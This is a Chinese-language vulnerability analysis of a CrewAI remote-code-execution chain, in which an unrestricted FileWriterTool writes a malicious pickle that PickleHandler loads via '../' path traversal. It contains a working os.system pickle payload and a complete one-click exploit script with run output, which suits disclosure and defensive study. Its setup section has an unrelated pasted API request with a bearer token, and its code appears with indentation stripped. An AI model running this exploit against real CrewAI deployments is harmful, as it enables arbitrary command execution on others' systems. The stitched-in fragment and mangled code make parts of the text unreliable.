CrewAI FileWriterTool + PickleHandler 组合漏洞链 RCE 漏洞分析
CrewAI FileWriterTool + PickleHandler 组合漏洞链 RCE 漏洞分析
CrewAI FileWriterTool + PickleHandler 组合漏洞链 RCE 漏洞分析
漏洞描述
CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。
这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。
环境搭建
curl --location 'http://ai-api.jdcloud.com/v1/chat/completions' \
--header 'Authorization: Bearer pk-6f6c6dc5-010a-44d7-bb2c-cc2c60410ca8' \
--header 'Content-Type: application/json' \
--data '{
"model": "Gemini-2.5-pro",
"messages": [
{
"role": "user",
"content": "世界最长的河流是什么?"
}
],
"thinking_budget":1024 (非必填),
"max_tokens": 1000(非必填),
"thinking":true,
"stream":false
}'# 1. 进入项目目录
cd ~/漏洞分析/crewAI/crewAI-1.0.0a2
# 2. 安装 crewai 核心包
pip install -e lib/crewai
# 3. 安装 crewai-tools
pip install -e lib/crewai-tools漏洞复现
分步骤复现
用 FileWriterTool 写入恶意 pickle 文件
FileWriterTool 使用文本模式 (mode="w") 写入文件,而 pickle 通常是二进制格式。我们试试用 pickle 协议 0 生成 ASCII 格式的 payload,看能不能绕过这个限制。
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo RCE_SUCCESS > /tmp/test.txt',))
# 使用协议 0 生成 ASCII pickle
pickle_bytes = pickle.dumps(MaliciousPayload(), protocol=0)
pickle_str = pickle_bytes.decode('latin-1')
print(f"Pickle payload: {repr(pickle_str)}")
协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了

from crewai_tools.tools.file_writer_tool.file_writer_tool import FileWriterTool
# 生成恶意 pickle payload
malicious_pickle = 'cposix\nsystem\np0\n(Vecho "RCE_EXECUTED" > /tmp/rce_marker.txt\np1\ntp2\nRp3\n.'
# 写入到攻击目录
file_writer = FileWriterTool()
result = file_writer.run(
directory="/tmp/attack",
filename="malicious.pkl",
content=malicious_pickle,
overwrite=True
)
print(result)
# 输出: Content successfully written to /tmp/attack/malicious.pkl
FileWriterTool 没有任何路径限制,可以写入任意目录,写 pkl 文件无问题

用 PickleHandler 路径穿越加载恶意文件
import os
from crewai.utilities.file_handler import PickleHandler
# 假设当前工作目录是 /tmp/work
os.chdir("/tmp/work")
print(f"当前目录: {os.getcwd()}")
# 使用 ../ 路径穿越绕过 os.getcwd() 限制
handler = PickleHandler("../attack/malicious.pkl")
print(f"构造的路径: {handler.file_path}")
# 输出: /tmp/work/../attack/malicious.pkl
# 实际指向: /tmp/attack/malicious.pklPickleHandler 用 os.path.join(os.getcwd(), file_name) 限制文件在当前目录,但 ../ 可以穿越出去。当然也可以使用绝对路径绕过
触发反序列化 RCE
import os
from crewai.utilities.file_handler import PickleHandler
# 假设当前工作目录是 /tmp/work,恶意文件在 /tmp/attack/malicious.pkl
os.chdir("/tmp/work")
# 路径穿越加载恶意 pickle
handler = PickleHandler("../attack/malicious.pkl")
# 加载时触发 RCE
data = handler.load()
# 检查 RCE 是否成功
if os.path.exists("/tmp/rce_marker.txt"):
with open("/tmp/rce_marker.txt", "r") as f:
print(f"RCE 成功! 内容: {f.read()}")pickle.load() 反序列化时会执行 __reduce__ 方法中的代码,实现任意命令执行

一键利用 PoC
文件: exploit_filewriter_pickle_rce.py
#!/usr/bin/env python3
import os
import sys
import pickle
import tempfile
import shutil
# 添加 crewai 路径
sys.path.insert(0, '[PROJECT_DIR]/crewAI-1.0.0a2/lib/crewai/src')
sys.path.insert(0, '[PROJECT_DIR]/crewAI-1.0.0a2/lib/crewai-tools/src')
from crewai.utilities.file_handler import PickleHandler
from crewai_tools.tools.file_writer_tool.file_writer_tool import FileWriterTool
def generate_malicious_pickle(command: str) -> str:
"""
生成恶意 pickle payload(使用协议 0 ASCII 格式)
协议 0 生成 ASCII 格式的 pickle,可以通过文本模式写入文件
"""
class MaliciousPayload:
def __reduce__(self):
return (os.system, (command,))
# 使用协议 0 生成 ASCII pickle
pickle_bytes = pickle.dumps(MaliciousPayload(), protocol=0)
# 使用 latin-1 解码为字符串(可以处理任意字节)
pickle_str = pickle_bytes.decode('latin-1')
return pickle_str
def exploit():
"""完整漏洞链复现"""
print("=" * 80)
print("CrewAI FileWriterTool + PickleHandler 组合漏洞链 PoC")
print("=" * 80)
print()
# 保存原始工作目录
original_cwd = os.getcwd()
# 创建测试目录结构
test_base = tempfile.mkdtemp(prefix="crewai_chain_poc_")
work_dir = os.path.join(test_base, "work")
attack_dir = os.path.join(test_base, "attack")
os.makedirs(work_dir)
os.makedirs(attack_dir)
# RCE 验证文件
rce_marker = os.path.join(test_base, "RCE_SUCCESS.txt")
try:
print(f"[1] 创建测试环境")
print(f" 测试目录: {test_base}")
print(f" 工作目录: {work_dir}")
print(f" 攻击目录: {attack_dir}")
print()
# ========== 步骤 1: 使用 FileWriterTool 写入恶意 pickle ==========
print("[2] 使用 FileWriterTool 写入恶意 pickle 文件")
# 生成恶意 pickle payload
rce_command = f'echo "RCE_EXECUTED_BY_PICKLE" > {rce_marker}'
malicious_pickle = generate_malicious_pickle(rce_command)
print(f" RCE 命令: {rce_command}")
print(f" Pickle payload (ASCII): {repr(malicious_pickle[:50])}...")
# 使用 FileWriterTool 写入
file_writer = FileWriterTool()
result = file_writer.run(
directory=attack_dir,
filename="malicious.pkl",
content=malicious_pickle,
overwrite=True
)
print(f" FileWriterTool 结果: {result}")
# 验证文件已写入
malicious_file = os.path.join(attack_dir, "malicious.pkl")
if os.path.exists(malicious_file):
print(f" [+] 恶意 pickle 文件已写入: {malicious_file}")
else:
print(f" [-] 文件写入失败")
return False
print()
# ========== 步骤 2: 切换到工作目录 ==========
print("[3] 切换到工作目录(模拟正常应用场景)")
os.chdir(work_dir)
print(f" 当前工作目录: {os.getcwd()}")
print()
# ========== 步骤 3: 使用 PickleHandler 路径穿越加载恶意文件 ==========
print("[4] 使用 PickleHandler 路径穿越加载恶意 pickle")
# 计算相对路径穿越
traversal_path = "../attack/malicious.pkl"
print(f" 路径穿越 payload: {traversal_path}")
print(f" os.getcwd() 限制: {os.getcwd()}")
# 创建 PickleHandler(这里会触发路径穿越)
handler = PickleHandler(traversal_path)
print(f" 构造的文件路径: {handler.file_path}")
print(f" 路径穿越成功: {os.path.exists(handler.file_path)}")
print()
# ========== 步骤 4: 触发反序列化 RCE ==========
print("[5] 触发 pickle.load() 反序列化")
try:
data = handler.load()
print(f" pickle.load() 执行完成")
except Exception as e:
print(f" 反序列化过程中的异常(可能是正常的): {e}")
print()
# ========== 步骤 5: 验证 RCE ==========
print("[6] 验证 RCE 结果")
if os.path.exists(rce_marker):
with open(rce_marker, 'r') as f:
content = f.read().strip()
print(f" [+] RCE 成功!")
print(f" 验证文件: {rce_marker}")
print(f" 文件内容: {content}")
print()
print("=" * 80)
print("[+] 漏洞链复现成功!")
print("=" * 80)
return True
else:
print(f" [-] RCE 未触发")
return False
finally:
# 清理
os.chdir(original_cwd)
if os.path.exists(test_base):
shutil.rmtree(test_base)
if __name__ == "__main__":
try:
success = exploit()
sys.exit(0 if success else 1)
except Exception as e:
print(f"[-] 错误: {e}")
import traceback
traceback.print_exc()
sys.exit(1)================================================================================
CrewAI FileWriterTool + PickleHandler 组合漏洞链 PoC
================================================================================
[1] 创建测试环境
测试目录: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0
工作目录: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work
攻击目录: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/attack
[2] 使用 FileWriterTool 写入恶意 pickle 文件
RCE 命令: echo "RCE_EXECUTED_BY_PICKLE" > /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/RCE_SUCCESS.txt
Pickle payload (ASCII): 'cposix\nsystem\np0\n(Vecho "RCE_EXECUTED_BY_PICKLE" >'...
Using Tool: File Writer Tool
FileWriterTool 结果: Content successfully written to /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/attack/malicious.pkl
[+] 恶意 pickle 文件已写入: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/attack/malicious.pkl
[3] 切换到工作目录(模拟正常应用场景)
当前工作目录: /private/var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work
[4] 使用 PickleHandler 路径穿越加载恶意 pickle
路径穿越 payload: ../attack/malicious.pkl
os.getcwd() 限制: /private/var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work
构造的文件路径: /private/var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work/../attack/malicious.pkl
路径穿越成功: True
[5] 触发 pickle.load() 反序列化
pickle.load() 执行完成
[6] 验证 RCE 结果
[+] RCE 成功!
验证文件: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/RCE_SUCCESS.txt
文件内容: RCE_EXECUTED_BY_PICKLE
================================================================================
[+] 漏洞链复现成功!
================================================================================漏洞分析
代码分析
FileWriterTool - 任意文件写入
文件位置: crewai-tools/src/crewai_tools/tools/file_writer_tool/file_writer_tool.py
class FileWriterTool(BaseTool):
name: str = "File Writer Tool"
description: str = "A tool to write content to a specified file."
def _run(self, **kwargs: Any) -> str:
try:
# Create the directory if it doesn't exist
if kwargs.get("directory") and not os.path.exists(kwargs["directory"]):
os.makedirs(kwargs["directory"])
# Construct the full path
filepath = os.path.join(kwargs.get("directory") or "", kwargs["filename"])
# Write content to the file
mode = "w" if kwargs["overwrite"] else "x"
with open(filepath, mode) as file:
file.write(kwargs["content"])
return f"Content successfully written to {filepath}"FileWriterTool 直接使用用户提供的 directory 和 filename 参数构造路径,没有任何路径验证或限制。我们可以指定任意目录写入文件。虽然使用文本模式 (mode="w"),但我们可以用 pickle 协议 0 生成 ASCII 格式的 payload 绕过这个限制
PickleHandler - 路径穿越 + 不安全反序列化
文件位置: crewai/src/crewai/utilities/file_handler.py
class PickleHandler:
def __init__(self, file_name: str) -> None:
if not file_name.endswith(".pkl"):
file_name += ".pkl"
self.file_path = os.path.join(os.getcwd(), file_name) # 安全控制点
def load(self) -> Any:
if not os.path.exists(self.file_path) or os.path.getsize(self.file_path) == 0:
return {}
with open(self.file_path, "rb") as file:
try:
return pickle.load(file) # noqa: S301 ← 不安全反序列化
except EOFError:
return {}PickleHandler 使用 os.path.join(os.getcwd(), file_name) 问题是 os.path.join() 不会规范化路径中的 ../,所以我们可以用 ../attack/malicious.pkl 这样的路径穿越出去。另外,pickle.load() 是已知的不安全反序列化方法,代码里甚至有 # noqa: S301 注释故意忽略安全警告,还不懂什么意思
整体数据流
FileWriterTool.run(directory="/tmp/attack", filename="malicious.pkl", content=恶意pickle)
│
│ 无路径限制,直接写入/当然,肯定有些疑问,都能写入任意文件了,为什么还要目录穿越,因为很多情况都是内容可控,文件名称和位置都不可靠,习惯了这样的组合拳了
▼
/tmp/attack/malicious.pkl (恶意 pickle 文件)
│
▼
应用切换工作目录到 /tmp/work
│
▼
PickleHandler("../attack/malicious.pkl")
│
│ os.path.join(os.getcwd(), "../attack/malicious.pkl")
│ = /tmp/work/../attack/malicious.pkl
│ = /tmp/attack/malicious.pkl ← 路径穿越成功!
▼
handler.load()
│
│ pickle.load(file)
│ → 执行 __reduce__ 方法
▼
os.system("恶意命令") ← RCE漏洞修复
受影响版本: crewai <= 1.0.0a2, crewai-tools <= 1.0.0a2
修复版本: 待发布
修复建议
1. FileWriterTool - 添加路径验证
class FileWriterTool(BaseTool):
allowed_directories: list[str] = Field(default_factory=lambda: [os.getcwd()])
def _run(self, **kwargs: Any) -> str:
directory = kwargs.get("directory") or os.getcwd()
# 验证目录在允许范围内
abs_dir = os.path.abspath(directory)
if not any(abs_dir.startswith(os.path.abspath(allowed))
for allowed in self.allowed_directories):
raise ValueError(f"Directory not allowed: {directory}")
# ... 继续执行参考资料
- CWE-22: Path Traversal
- CWE-502: Deserialization of Untrusted Data
- Python pickle 安全文档
- OWASP Deserialization Cheat Sheet
- CrewAI GitHub Repository
免责声明
本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。发现的漏洞已负责任地披露给相关厂商,请勿将此信息用于未经授权的测试或恶意攻击。
FileWriterTool任意写入+PickleHandler路径穿越触发pickle.load()反序列化,实现RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准